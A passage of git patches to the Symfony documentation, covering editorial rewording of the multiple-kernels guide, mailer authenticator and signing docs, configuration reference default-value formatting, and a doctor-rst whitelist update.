-    all applications within the ``apps/`` directory. Therefore, you should carefully consider what is common and what
-    should be placed in the specific application.
+    Note that the ``config/`` and ``src/`` directories at the root of the
+    project will represent the shared context among all applications within the
+    ``apps/`` directory. Therefore, you should carefully consider what is
+    common and what should be placed in the specific application.
 
 .. tip::
 
-    You might also consider renaming the namespace for the shared context, from ``App`` to ``Shared``, as it will make it
-    easier to distinguish and provide clearer meaning to this context.
+    You might also consider renaming the namespace for the shared context, from
+    ``App`` to ``Shared``, as it will make it easier to distinguish and provide
+    clearer meaning to this context.
 
-Since the new ``apps/api/src/`` directory will host the PHP code related to the API, we need to update the ``composer.json``
-file to include it in the autoload section:
+Since the new ``apps/api/src/`` directory will host the PHP code related to the
+API, you have to update the ``composer.json`` file to include it in the autoload
+section:
 
 .. code-block:: json
 
@@ -87,15 +101,18 @@ file to include it in the autoload section:
         }
     }
 
-Additionally, don't forget to run `composer dump-autoload` to generate the autoload files.
+Additionally, don't forget to run ``composer dump-autoload`` to generate the
+autoload files.
 
 Step 2) Update the Kernel class to support Multiple Applications
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-Since we aim to support multiple applications, we will add a new property ``string $id`` to the Kernel to identify the
-application being loaded. This property will also allow us to split the cache, logs, and configuration files in order to
-avoid collisions with other applications. Moreover, it contributes to performance optimization, as each application will
-load only the required resources::
+Since there will be multiple applications, it's better to add a new property
+``string $id`` to the Kernel to identify the application being loaded. This
+property will also allow you to split the cache, logs, and configuration files
+in order to avoid collisions with other applications. Moreover, it contributes
+to performance optimization, as each application will load only the required
+resources::
 
     // src/Kernel.php
     namespace Shared;
@@ -193,14 +210,16 @@ load only the required resources::
         }
     }
 
-In this example, we reuse the default implementation to import configuration and routes based on a given configuration
-directory. As we saw earlier, this approach will import both shared and app-specific resources.
+This example reuses the default implementation to import the configuration and
+routes based on a given configuration directory. As shown earlier, this
+approach will import both the shared and the app-specific resources.
 
 Step 3) Add a new APP_ID environment variable
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-Now, let's introduce a new environment variable that identifies the current application. This new variable can be added
-to the ``.env`` file to provide a default value, but it should typically be added to your web server configuration.
+Next, define a new environment variable that identifies the current application.
+This new variable can be added to the ``.env`` file to provide a default value,
+but it should typically be added to your web server configuration.
 
 .. code-block:: bash
 
@@ -209,14 +228,17 @@ to the ``.env`` file to provide a default value, but it should typically be adde
 
 .. caution::
 
-    The value of this variable must match the application directory within ``apps/`` as it is used in the Kernel to load
-    the specific application configuration.
+    The value of this variable must match the application directory within
+    ``apps/`` as it is used in the Kernel to load the specific application
+    configuration.
 
 Step 4) Update the Front Controllers
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-In this final step, we will update the front controllers ``public/index.php`` and ``bin/console`` to pass the value of
-the ``APP_ID`` variable to the Kernel instance. This will allow the Kernel to load and run the specified application::
+In this final step, update the front controllers ``public/index.php`` and
+``bin/console`` to pass the value of the ``APP_ID`` variable to the Kernel
+instance. This will allow the Kernel to load and run the specified
+application::
 
     // public/index.php
     use Shared\Kernel;
@@ -226,11 +248,12 @@ the ``APP_ID`` variable to the Kernel instance. This will allow the Kernel to lo
         return new Kernel($context['APP_ENV'], (bool) $context['APP_DEBUG'], $context['APP_ID']);
     };
 
-Similar to configuring the required ``APP_ENV`` and ``APP_DEBUG`` values, the third argument of the Kernel constructor
-is now also necessary to setting the application ID, which is derived from an external configuration.
+Similar to configuring the required ``APP_ENV`` and ``APP_DEBUG`` values, the
+third argument of the Kernel constructor is now also necessary to set the
+application ID, which is derived from an external configuration.
 
-For the second front controller, we will define a new console option to allow passing the application ID we want to run
-under CLI context::
+For the second front controller, define a new console option to allow passing
+the application ID to run under CLI context::
 
     // bin/console
     use Shared\Kernel;
@@ -252,8 +275,9 @@ That's it!
 Executing Commands
 ------------------
 
-The ``bin/console`` script, which is used to run Symfony commands, always uses the ``Kernel`` class to build the
-application and load the commands. If you need to run console commands for a specific application, you can provide the
+The ``bin/console`` script, which is used to run Symfony commands, always uses
+the ``Kernel`` class to build the application and load the commands. If you
+need to run console commands for a specific application, you can provide the
 ``--id`` option along with the appropriate identity value:
 
 .. code-block:: terminal
@@ -266,8 +290,9 @@ application and load the commands. If you need to run console commands for a spe
     export APP_ID=api
     php bin/console cache:clear
 
-You might want to update the composer auto-scripts section to run multiple commands simultaneously. In this example,
-we assume you have a second application for managing the configuration (admin):
+You might want to update the composer auto-scripts section to run multiple
+commands simultaneously. This example shows the commands of two different
+applications called ``api`` and ``admin``:
 
 .. code-block:: json
 
@@ -282,19 +307,23 @@ we assume you have a second application for managing the configuration (admin):
         }
     }
 
-Then, run `composer auto-scripts` to test it!
+Then, run ``composer auto-scripts`` to test it!
 
 .. note::
 
-    The commands available for each console script (e.g. ``bin/console -iapi`` and ``bin/console -iadmin``) can differ
-    because they depend on the bundles enabled for each application, which could be different.
+    The commands available for each console script (e.g. ``bin/console -iapi``
+    and ``bin/console -iadmin``) can differ because they depend on the bundles
+    enabled for each application, which could be different.
 
 Rendering Templates
 -------------------
 
-Let's assume there is now another app called ``admin``. If you follow the :ref:`Symfony Best Practices </best_practices>`, the shared Kernel
-templates will be located in the ``templates/`` directory at the project's root. For admin-specific templates, you can
-create a new directory ``apps/admin/templates/`` which you will need to manually configure under the Admin application:
+Let's consider that you need to create another app called ``admin``. If you
+follow the :ref:`Symfony Best Practices </best_practices>`, the shared Kernel
+templates will be located in the ``templates/`` directory at the project's root.
+For admin-specific templates, you can create a new directory
+``apps/admin/templates/`` which you will need to manually configure under the
+Admin application:
 
 .. code-block:: yaml
 
@@ -303,15 +332,18 @@ create a new directory ``apps/admin/templates/`` which you will need to manually
         paths:
             '%kernel.project_dir%/apps/admin/templates': Admin
 
-Then, use this Twig namespace to reference any template within the Admin application only, for example ``@Admin/form/fields.html.twig``.
+Then, use this Twig namespace to reference any template within the Admin
+application only, for example ``@Admin/form/fields.html.twig``.
 
 Running Tests
 -------------
 
-In Symfony applications, functional tests typically extend from the :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\WebTestCase`
-class by default. Within its parent class, ``KernelTestCase``, there is a method called ``createKernel()`` that attempts to
-create the kernel responsible for running the application during tests. However, the current logic of this method doesn't
-include our new application ID argument, so we need to make an update::
+In Symfony applications, functional tests typically extend from
+the :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\WebTestCase` class by
+default. Within its parent class, ``KernelTestCase``, there is a method called
+``createKernel()`` that attempts to create the kernel responsible for running
+the application during tests. However, the current logic of this method doesn't
+include the new application ID argument, so you need to update it::
 
     // apps/api/tests/ApiTestCase.php
     namespace Api\Tests;
@@ -333,11 +365,12 @@ include our new application ID argument, so we need to make an update::
 
 .. note::
 
-    Keep in mind that we will set a fixed application ID value in this instance, as the specific test cases extending
-    from ``ApiTestCase`` will focus solely on the ``api`` tests.
+    This examples uses a hardcoded application ID value because the tests
+    extending this ``ApiTestCase`` class will focus solely on the ``api`` tests.
 
-In this situation, we have created a ``tests/`` directory inside the ``apps/api/`` application. As a result, we need to
-inform both the ``composer.json`` file and our ``phpunit.xml`` configuration about its existence:
+Now, create a ``tests/`` directory inside the ``apps/api/`` application. Then,
+update both the ``composer.json`` file and ``phpunit.xml`` configuration about
+its existence:
 
 .. code-block:: json
 
@@ -368,8 +401,9 @@ And, here is the update needed for the ``phpunit.xml`` file:
 Adding more Applications
 ------------------------
 
-Now you can begin adding more applications as needed, such as an ``admin`` application to manage the project's
-configuration and permissions. To do that, you will have to repeat the step 1 only:
+Now you can begin adding more applications as needed, such as an ``admin``
+application to manage the project's configuration and permissions. To do that,
+you will have to repeat the step 1 only:
 
 .. code-block:: text
 
@@ -384,6 +418,7 @@ configuration and permissions. To do that, you will have to repeat the step 1 on
     │  └─ api/
     │     └─ ...
 
-Additionally, you might need to update your web server configuration to set the ``APP_ID=admin`` under a different domain.
+Additionally, you might need to update your web server configuration to set the
+``APP_ID=admin`` under a different domain.
 
 .. _`Shared Kernel`: http://ddd.fed.wiki.org/view/shared-kernel

From 397e74ffc6908e4947ae6c28f2c5bbc81e4fb117 Mon Sep 17 00:00:00 2001
From: Yonel Ceruto <yonelceruto@gmail.com>
Date: Thu, 4 May 2023 19:51:52 +0200
Subject: [PATCH 3272/5766] Update multiple_kernels.rst

Replacing tabs with spaces
---
 configuration/multiple_kernels.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/configuration/multiple_kernels.rst b/configuration/multiple_kernels.rst
index 1b8504e0748..9464fcf39f7 100644
--- a/configuration/multiple_kernels.rst
+++ b/configuration/multiple_kernels.rst
@@ -62,16 +62,16 @@ directory structure like the one described in :ref:`Symfony Best Practice </best
     │  └─ api/
     │     ├─ config/
     │     │  ├─ bundles.php
-    │	  │  ├─ routes.yaml
-    │	  │  └─ services.yaml
-    │  	  └─ src/
+    │     │  ├─ routes.yaml
+    │     │  └─ services.yaml
+    │     └─ src/
     ├─ bin/
     │  └─ console
     ├─ config/
     ├─ public/
     │  └─ index.php
     ├─ src/
-    │	└─ Kernel.php
+    │  └─ Kernel.php
 
 .. note::
 

From 4fd5f27920e020dd058be16227bc6233ab761dbf Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?C=C3=A9dric=20Anne?= <cedric.anne@gmail.com>
Date: Fri, 14 Apr 2023 16:17:53 +0200
Subject: [PATCH 3273/5766] [Mailer] Document
 `EsmtpTransport::setAuthenticators()`

---
 mailer.rst | 23 +++++++++++++++++++++++
 1 file changed, 23 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index 8552a13f999..ab4b334700e 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -286,6 +286,29 @@ the application or when using a self-signed certificate::
 
     $dsn = 'smtp://user:pass@smtp.example.com?verify_peer=0';
 
+Overriding default SMTP authenticators
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+By default, SMTP transports will try to login using all authentication methods
+available on the SMTP server, one after the other. In some cases, it may be useful
+to redefine the supported authentication methods to ensure that the preferred method
+will be used first.
+This can be done from ``EsmtpTransport`` constructor or using the ``setAuthenticators()`` method::
+
+    use Symfony\Component\Mailer\Transport\Smtp\Auth\XOAuth2Authenticator;
+    use Symfony\Component\Mailer\Transport\Smtp\EsmtpTransport;
+
+    $transport = new EsmtpTransport(
+        host: 'oauth-smtp.domain.tld',
+        authenticators: [new XOAuth2Authenticator()]
+    );
+    $transport->setAuthenticators([new XOAuth2Authenticator()]);
+
+    .. versionadded:: 6.3
+
+        The ``$authenticators`` constructor parameter and the ``setAuthenticators()`` method
+        were introduced in Symfony 6.3.
+
 Other Options
 ~~~~~~~~~~~~~
 

From ac0ea0c7805ba96bd8fdebc0ee608b78b9cc6836 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 5 May 2023 16:10:15 +0200
Subject: [PATCH 3274/5766] Tweaks

---
 mailer.rst | 21 ++++++++++++++-------
 1 file changed, 14 insertions(+), 7 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index ab4b334700e..c40cf65d24f 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -290,24 +290,31 @@ Overriding default SMTP authenticators
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 By default, SMTP transports will try to login using all authentication methods
-available on the SMTP server, one after the other. In some cases, it may be useful
-to redefine the supported authentication methods to ensure that the preferred method
-will be used first.
-This can be done from ``EsmtpTransport`` constructor or using the ``setAuthenticators()`` method::
+available on the SMTP server, one after the other. In some cases, it may be
+useful to redefine the supported authentication methods to ensure that the
+preferred method will be used first.
+
+This can be done from ``EsmtpTransport`` constructor or using the
+``setAuthenticators()`` method::
 
     use Symfony\Component\Mailer\Transport\Smtp\Auth\XOAuth2Authenticator;
     use Symfony\Component\Mailer\Transport\Smtp\EsmtpTransport;
 
+    // Choose one of these two options:
+
+    // Option 1: pass the authenticators to the constructor
     $transport = new EsmtpTransport(
         host: 'oauth-smtp.domain.tld',
         authenticators: [new XOAuth2Authenticator()]
     );
+
+    // Option 2: call a method to redefine the authenticators
     $transport->setAuthenticators([new XOAuth2Authenticator()]);
 
-    .. versionadded:: 6.3
+.. versionadded:: 6.3
 
-        The ``$authenticators`` constructor parameter and the ``setAuthenticators()`` method
-        were introduced in Symfony 6.3.
+    The ``$authenticators`` constructor parameter and the ``setAuthenticators()``
+    method were introduced in Symfony 6.3.
 
 Other Options
 ~~~~~~~~~~~~~

From f6984ab62248747635cb3f83a4b74357818ff953 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 5 May 2023 16:49:43 +0200
Subject: [PATCH 3275/5766] [FrameworkBundle] Update the http_method_override
 default value explanation

---
 reference/configuration/framework.rst | 9 ++++++++-
 1 file changed, 8 insertions(+), 1 deletion(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 5a71b31b122..aff01af4c9c 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -176,7 +176,7 @@ bootstrap the Symfony framework on a cache hit.
 http_method_override
 ~~~~~~~~~~~~~~~~~~~~
 
-**type**: ``boolean`` **default**: ``true``
+**type**: ``boolean`` **default**: (see explanation below)
 
 This determines whether the ``_method`` request parameter is used as the
 intended HTTP method on POST requests. If enabled, the
@@ -184,6 +184,13 @@ intended HTTP method on POST requests. If enabled, the
 method gets called automatically. It becomes the service container parameter
 named ``kernel.http_method_override``.
 
+The **default value** is:
+
+* ``true``, if you have an existing application that you've upgraded from an older
+  Symfony version without resyncing the :doc:`Symfony Flex </setup/flex>` recipes;
+* ``false``, if you've created a new Symfony application or updated the Symfony
+  Flex recipes. This is also the default value starting from Symfony 7.0.
+
 .. seealso::
 
     :ref:`Changing the Action and HTTP Method <forms-change-action-method>` of

From 71a4ef468a5312692451db6bc2729d5c6e80dad8 Mon Sep 17 00:00:00 2001
From: Christian Kolb <info@digital-craftsman.de>
Date: Fri, 5 May 2023 17:44:20 +0200
Subject: [PATCH 3276/5766] Rename context flag

---
 components/serializer.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 84b5e8775b6..1b165134f52 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -1242,11 +1242,11 @@ to ``true``::
     $result = $normalizer->normalize($dummy, 'json', [AbstractObjectNormalizer::SKIP_NULL_VALUES => true]);
     // ['bar' => 'notNull']
 
-Preventing ``null`` Value Fallback for Nullable Properties
-----------------------------------------------------------
+Require all Properties
+----------------------
 
 By default, the Serializer will add ``null`` to nullable properties when the parameters for those are not provided.
-You can change this behavior by setting the ``AbstractNormalizer::PREVENT_NULLABLE_FALLBACK`` context option
+You can change this behavior by setting the ``AbstractNormalizer::REQUIRE_ALL_PROPERTIES`` context option
 to ``true``::
 
     class Dummy
@@ -1261,7 +1261,7 @@ to ``true``::
     $data = ['foo' => 'notNull'];
 
     $normalizer = new ObjectNormalizer();
-    $result = $normalizer->denormalize($data, Dummy::class, 'json', [AbstractNormalizer::PREVENT_NULLABLE_FALLBACK => true]);
+    $result = $normalizer->denormalize($data, Dummy::class, 'json', [AbstractNormalizer::REQUIRE_ALL_PROPERTIES => true]);
     // throws Symfony\Component\Serializer\Exception\MissingConstructorArgumentException
 
 .. versionadded:: 6.3

From 9de751cbc3becf44285985a84d102af68de1504f Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sun, 7 May 2023 22:29:00 +0200
Subject: [PATCH 3277/5766] Not add quote in default values

---
 reference/configuration/framework.rst    | 18 +++++++++---------
 reference/configuration/security.rst     |  6 +++---
 reference/configuration/twig.rst         | 10 +++++-----
 reference/configuration/web_profiler.rst |  2 +-
 reference/forms/types/collection.rst     |  2 +-
 5 files changed, 19 insertions(+), 19 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 53f3aa64960..290fefb13c8 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -740,7 +740,7 @@ is disabled. This can be either a template name or the content itself.
 path
 ....
 
-**type**: ``string`` **default**: ``'/_fragment'``
+**type**: ``string`` **default**: ``/_fragment``
 
 The path prefix for fragments. The fragment listener will only be executed
 when the request starts with this path.
@@ -1357,7 +1357,7 @@ requests (and not on the subrequests).
 dsn
 ...
 
-**type**: ``string`` **default**: ``'file:%kernel.cache_dir%/profiler'``
+**type**: ``string`` **default**: ``file:%kernel.cache_dir%/profiler``
 
 The DSN where to store the profiling information.
 
@@ -1553,7 +1553,7 @@ session
 storage_factory_id
 ..................
 
-**type**: ``string`` **default**: ``'session.storage.factory.native'``
+**type**: ``string`` **default**: ``session.storage.factory.native``
 
 The service ID used for creating the ``SessionStorageInterface`` that stores
 the session. This service is available in the Symfony application via the
@@ -1574,7 +1574,7 @@ To see a list of all available storages, run:
 handler_id
 ..........
 
-**type**: ``string`` **default**: ``'session.handler.native_file'``
+**type**: ``string`` **default**: ``session.handler.native_file``
 
 The service id used for session storage. The default value ``'session.handler.native_file'``
 will let Symfony manage the sessions itself using files to store the session metadata.
@@ -1666,7 +1666,7 @@ to the cookie specification.
 cookie_samesite
 ...............
 
-**type**: ``string`` or ``null`` **default**: ``'lax'``
+**type**: ``string`` or ``null`` **default**: ``lax``
 
 It controls the way cookies are sent when the HTTP request did not originate
 from the same domain that is associated with the cookies. Setting this option is
@@ -1701,7 +1701,7 @@ The possible values for this option are:
 cookie_secure
 .............
 
-**type**: ``boolean`` or ``'auto'`` **default**: ``'auto'``
+**type**: ``boolean`` or ``'auto'`` **default**: ``auto``
 
 This determines whether cookies should only be sent over secure connections. In
 addition to ``true`` and ``false``, there's a special ``'auto'`` value that
@@ -2702,7 +2702,7 @@ annotations
 cache
 .....
 
-**type**: ``string`` **default**: ``'php_array'``
+**type**: ``string`` **default**: ``php_array``
 
 This option can be one of the following values:
 
@@ -2722,7 +2722,7 @@ a service id
 file_cache_dir
 ..............
 
-**type**: ``string`` **default**: ``'%kernel.cache_dir%/annotations'``
+**type**: ``string`` **default**: ``%kernel.cache_dir%/annotations``
 
 The directory to store cache files for annotations, in case
 ``annotations.cache`` is set to ``'file'``.
@@ -3493,7 +3493,7 @@ marking_store
 
 Each marking store can define any of these options:
 
-* ``property`` (**type**: ``string`` **default**: ``'marking'``)
+* ``property`` (**type**: ``string`` **default**: ``marking``)
 * ``service`` (**type**: ``string``)
 * ``type`` (**type**: ``string`` **allow value**: ``'method'``)
 
diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index b811f33e2ac..22884fdbbe1 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -494,7 +494,7 @@ success_handler
     :class:`Symfony\\Component\\Security\\Http\\Event\\LogoutEvent`
     instead.
 
-**type**: ``string`` **default**: ``'security.logout.success_handler'``
+**type**: ``string`` **default**: ``security.logout.success_handler``
 
 The service ID used for handling a successful logout. The service must implement
 :class:`Symfony\\Component\\Security\\Http\\Logout\\LogoutSuccessHandlerInterface`.
@@ -506,7 +506,7 @@ If it is set, the logout ``target`` option will be ignored.
 csrf_parameter
 ..............
 
-**type**: ``string`` **default**: ``'_csrf_token'``
+**type**: ``string`` **default**: ``_csrf_token``
 
 The name of the parameter that stores the CSRF token value.
 
@@ -521,7 +521,7 @@ default service whose ID is ``security.csrf.token_manager``.
 csrf_token_id
 .............
 
-**type**: ``string`` **default**: ``'logout'``
+**type**: ``string`` **default**: ``logout``
 
 An arbitrary string used to identify the token (and check its validity afterwards).
 
diff --git a/reference/configuration/twig.rst b/reference/configuration/twig.rst
index fc1d4886082..1153846f35d 100644
--- a/reference/configuration/twig.rst
+++ b/reference/configuration/twig.rst
@@ -36,7 +36,7 @@ compiled again automatically.
 autoescape
 ~~~~~~~~~~
 
-**type**: ``boolean`` or ``string`` **default**: ``'name'``
+**type**: ``boolean`` or ``string`` **default**: ``name``
 
 If set to ``false``, automatic escaping is disabled (you can still escape each content
 individually in the templates).
@@ -83,7 +83,7 @@ called to determine the default escaping applied to the template.
 base_template_class
 ~~~~~~~~~~~~~~~~~~~
 
-**type**: ``string`` **default**: ``'Twig\Template'``
+**type**: ``string`` **default**: ``Twig\Template``
 
 Twig templates are compiled into PHP classes before using them to render
 contents. This option defines the base class from which all the template classes
@@ -93,7 +93,7 @@ application harder to maintain.
 cache
 ~~~~~
 
-**type**: ``string`` | ``false`` **default**: ``'%kernel.cache_dir%/twig'``
+**type**: ``string`` | ``false`` **default**: ``%kernel.cache_dir%/twig``
 
 Before using the Twig templates to render some contents, they are compiled into
 regular PHP code. Compilation is a costly process, so the result is cached in
@@ -107,7 +107,7 @@ compiled again.
 charset
 ~~~~~~~
 
-**type**: ``string`` **default**: ``'%kernel.charset%'``
+**type**: ``string`` **default**: ``%kernel.charset%``
 
 The charset used by the template files. By default it's the same as the value of
 the :ref:`kernel.charset container parameter <configuration-kernel-charset>`,
@@ -160,7 +160,7 @@ If this option is ``false``, the ``dump()`` function doesn't output any contents
 default_path
 ~~~~~~~~~~~~
 
-**type**: ``string`` **default**: ``'%kernel.project_dir%/templates'``
+**type**: ``string`` **default**: ``%kernel.project_dir%/templates``
 
 The path to the directory where Symfony will look for the application Twig
 templates by default. If you store the templates in more than one directory, use
diff --git a/reference/configuration/web_profiler.rst b/reference/configuration/web_profiler.rst
index fc95fd96833..f0b11f47064 100644
--- a/reference/configuration/web_profiler.rst
+++ b/reference/configuration/web_profiler.rst
@@ -30,7 +30,7 @@ Configuration
 excluded_ajax_paths
 ~~~~~~~~~~~~~~~~~~~
 
-**type**: ``string`` **default**: ``'^/((index|app(_[\w]+)?)\.php/)?_wdt'``
+**type**: ``string`` **default**: ``^/((index|app(_[\w]+)?)\.php/)?_wdt``
 
 When the toolbar logs AJAX requests, it matches their URLs against this regular
 expression. If the URL matches, the request is not displayed in the toolbar. This
diff --git a/reference/forms/types/collection.rst b/reference/forms/types/collection.rst
index f44f25d7545..c4aa8be8a7f 100644
--- a/reference/forms/types/collection.rst
+++ b/reference/forms/types/collection.rst
@@ -198,7 +198,7 @@ type::
 entry_type
 ~~~~~~~~~~
 
-**type**: ``string`` **default**: ``'Symfony\Component\Form\Extension\Core\Type\TextType'``
+**type**: ``string`` **default**: ``Symfony\Component\Form\Extension\Core\Type\TextType``
 
 This is the field type for each item in this collection (e.g. ``TextType``,
 ``ChoiceType``, etc). For example, if you have an array of email addresses,

From 486eacc15c75817fdba3644f5b316245be95206e Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sun, 7 May 2023 22:41:02 +0200
Subject: [PATCH 3278/5766] Add missing backticks to defaults

---
 reference/configuration/framework.rst      | 2 +-
 reference/constraints/Collection.rst       | 4 ++--
 reference/constraints/Count.rst            | 2 +-
 reference/constraints/Regex.rst            | 2 +-
 reference/forms/types/options/help.rst.inc | 2 +-
 5 files changed, 6 insertions(+), 6 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 53f3aa64960..c35eb5a575e 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1117,7 +1117,7 @@ Use ``0`` to not limit the duration.
 max_duration
 ............
 
-**type**: ``float`` **default**: 0
+**type**: ``float`` **default**: ``0``
 
 The maximum execution time, in seconds, that the request and the response are
 allowed to take. A value lower than or equal to 0 means it is unlimited.
diff --git a/reference/constraints/Collection.rst b/reference/constraints/Collection.rst
index 62595aef75e..44d0319bb84 100644
--- a/reference/constraints/Collection.rst
+++ b/reference/constraints/Collection.rst
@@ -379,7 +379,7 @@ Options
 ``allowExtraFields``
 ~~~~~~~~~~~~~~~~~~~~
 
-**type**: ``boolean`` **default**: false
+**type**: ``boolean`` **default**: ``false``
 
 If this option is set to ``false`` and the underlying collection contains
 one or more elements that are not included in the `fields`_ option, a validation
@@ -388,7 +388,7 @@ error will be returned. If set to ``true``, extra fields are OK.
 ``allowMissingFields``
 ~~~~~~~~~~~~~~~~~~~~~~
 
-**type**: ``boolean`` **default**: false
+**type**: ``boolean`` **default**: ``false``
 
 If this option is set to ``false`` and one or more fields from the `fields`_
 option are not present in the underlying collection, a validation error
diff --git a/reference/constraints/Count.rst b/reference/constraints/Count.rst
index d4e7e796acc..b4d6982b0fb 100644
--- a/reference/constraints/Count.rst
+++ b/reference/constraints/Count.rst
@@ -115,7 +115,7 @@ Options
 ``divisibleBy``
 ~~~~~~~~~~~~~~~
 
-**type**: ``integer`` **default**: null
+**type**: ``integer`` **default**: ``null``
 
 .. versionadded:: 5.1
 
diff --git a/reference/constraints/Regex.rst b/reference/constraints/Regex.rst
index d4ecf423fd0..6c7f34a5422 100644
--- a/reference/constraints/Regex.rst
+++ b/reference/constraints/Regex.rst
@@ -193,7 +193,7 @@ Options
 ``htmlPattern``
 ~~~~~~~~~~~~~~~
 
-**type**: ``string|boolean`` **default**: null
+**type**: ``string|boolean`` **default**: ``null``
 
 This option specifies the pattern to use in the HTML5 ``pattern`` attribute.
 You usually don't need to specify this option because by default, the constraint
diff --git a/reference/forms/types/options/help.rst.inc b/reference/forms/types/options/help.rst.inc
index 86f84111c88..c69e99819b3 100644
--- a/reference/forms/types/options/help.rst.inc
+++ b/reference/forms/types/options/help.rst.inc
@@ -1,7 +1,7 @@
 help
 ~~~~
 
-**type**: ``string`` or ``TranslatableMessage`` **default**: null
+**type**: ``string`` or ``TranslatableMessage`` **default**: ``null``
 
 Allows you to define a help message for the form field, which by default is
 rendered below the field::

From e45f6e9dc0ff57db7b17ce312b141857433ccff2 Mon Sep 17 00:00:00 2001
From: MatTheCat <math.lechat@gmail.com>
Date: Mon, 8 May 2023 14:01:13 +0200
Subject: [PATCH 3279/5766] Improve the warning about signing messages in a
 listener

---
 mailer.rst | 16 +++++++++-------
 1 file changed, 9 insertions(+), 7 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 712efa8a8c5..3a5e9223411 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -1044,6 +1044,15 @@ Before signing/encrypting messages, make sure to have:
     When using OpenSSL to generate certificates, make sure to add the
     ``-addtrust emailProtection`` command option.
 
+.. caution::
+
+    These features require messages to be rendered,
+    which is not always immediate.
+    For example, :ref:`templated emails <mailer-twig>` content is generated
+    by a :class:`Symfony\\Component\\Mailer\\EventListener\\MessageListener`.
+    If you need to sign and/or encrypt such a message, you need to do so in
+    a :ref:`MessageEvent <messageevent>` listener with a negative priority.
+
 Signing Messages
 ~~~~~~~~~~~~~~~~
 
@@ -1432,13 +1441,6 @@ is sent::
         }
     }
 
-.. tip::
-
-    When using a ``MessageEvent`` listener to
-    :doc:`sign the email contents <signing-and-encrypting-messages>`, run it as
-    late as possible (e.g. setting a negative priority for it) so the email
-    contents are not set or modified after signing them.
-
 Development & Debugging
 -----------------------
 

From 07f6609a1b8bec0839a56d464e18b2abb06c753f Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sun, 7 May 2023 22:57:08 +0200
Subject: [PATCH 3280/5766] [Fix pipeline] multiple_kernels.rst must respect
 doctor-rst

---
 .doctor-rst.yaml                   | 14 ++++++++++++++
 configuration/multiple_kernels.rst | 18 +++++++++---------
 2 files changed, 23 insertions(+), 9 deletions(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 0fc471cfee8..318d55b688a 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -101,3 +101,17 @@ whitelist:
         - '// bin/console'
         - '.. _`a feature to test applications using Mercure`: https://github.com/symfony/panther#creating-isolated-browsers-to-test-apps-using-mercure-or-websocket'
         - '..  End to End Tests (E2E)'
+        - 'First, create a new ``apps`` directory at the root of your project, which will' # configuration/multiple_kernels.rst
+        - '├─ apps/' # configuration/multiple_kernels.rst
+        - '``apps/`` directory. Therefore, you should carefully consider what is' # configuration/multiple_kernels.rst
+        - 'Since the new ``apps/api/src/`` directory will host the PHP code related to the' # configuration/multiple_kernels.rst
+        - '"Api\\": "apps/api/src/"' # configuration/multiple_kernels.rst
+        - "return $this->getProjectDir().'/apps/'.$this->id.'/config';" # configuration/multiple_kernels.rst
+        - '``apps/`` as it is used in the Kernel to load the specific application' # configuration/multiple_kernels.rst
+        - '``apps/admin/templates/`` which you will need to manually configure under the' # configuration/multiple_kernels.rst
+        - '# apps/admin/config/packages/twig.yaml' # configuration/multiple_kernels.rst
+        - "'%kernel.project_dir%/apps/admin/templates': Admin" # configuration/multiple_kernels.rst
+        - '// apps/api/tests/ApiTestCase.php' # configuration/multiple_kernels.rst
+        - 'Now, create a ``tests/`` directory inside the ``apps/api/`` application. Then,' # configuration/multiple_kernels.rst
+        - '"Api\\Tests\\": "apps/api/tests/"' # configuration/multiple_kernels.rst
+        - '<directory>apps/api/tests</directory>' # configuration/multiple_kernels.rst
diff --git a/configuration/multiple_kernels.rst b/configuration/multiple_kernels.rst
index 9464fcf39f7..cc50c27a1d4 100644
--- a/configuration/multiple_kernels.rst
+++ b/configuration/multiple_kernels.rst
@@ -164,12 +164,12 @@ resources::
             return ($_SERVER['APP_LOG_DIR'] ?? $this->getProjectDir().'/var/log').'/'.$this->id;
         }
 
-        protected function configureContainer(ContainerConfigurator $container): void
+        protected function configureContainer(ContainerConfigurator $containerConfigurator): void
         {
             // load common config files, such as the framework.yaml, as well as
             // specific configs required exclusively for the app itself
-            $this->doConfigureContainer($container, $this->getSharedConfigDir());
-            $this->doConfigureContainer($container, $this->getAppConfigDir());
+            $this->doConfigureContainer($containerConfigurator, $this->getSharedConfigDir());
